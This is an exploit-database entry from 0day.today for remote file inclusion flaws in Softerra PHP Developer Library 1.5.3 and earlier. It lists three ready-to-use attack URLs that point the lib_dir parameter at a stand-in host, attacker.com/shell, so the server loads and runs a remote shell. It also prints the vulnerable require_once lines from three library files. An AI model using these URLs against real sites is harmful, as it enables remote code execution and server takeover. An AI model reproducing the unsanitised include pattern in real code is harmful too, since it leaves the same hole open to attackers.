[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Softerra PHP Developer Library <= 1.5.3 File Include Vulnerabilities

Author
MP
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-963
Category
web applications
Date add
11-10-2006
Platform
unsorted
====================================================================
Softerra PHP Developer Library <= 1.5.3 File Include Vulnerabilities
====================================================================





## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ Softerra. PHP Developer Library ]                 #
#                                                               #
# Class:     Remote File Include Vulnerability                  #
# Patch:     Unavailable                                        #
# Published  2006/10/12                                         #
# Remote:    Yes                                                #
# Local:     No                            			#
# Type:      High                                               #
# Author:    MP                                                 #
#                                				#
#################################################################

Exploit:

http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/registry.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlcompose.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlsearch.lib.php?lib_dir=http://attacker.com/shell?


Vuln Files:

registry.lib.php
sqlcompose.lib.php
sqlsearch.lib.php


Vuln Code:
#
../lib/registry.lib.php

<? ...
require_once ($lib_dir . "sqlstorage.class.php");
... ?>
##
../lib/sqlcompose.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>

##
../lib/sqlsearch.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>





#  0day.today [2024-12-25]  #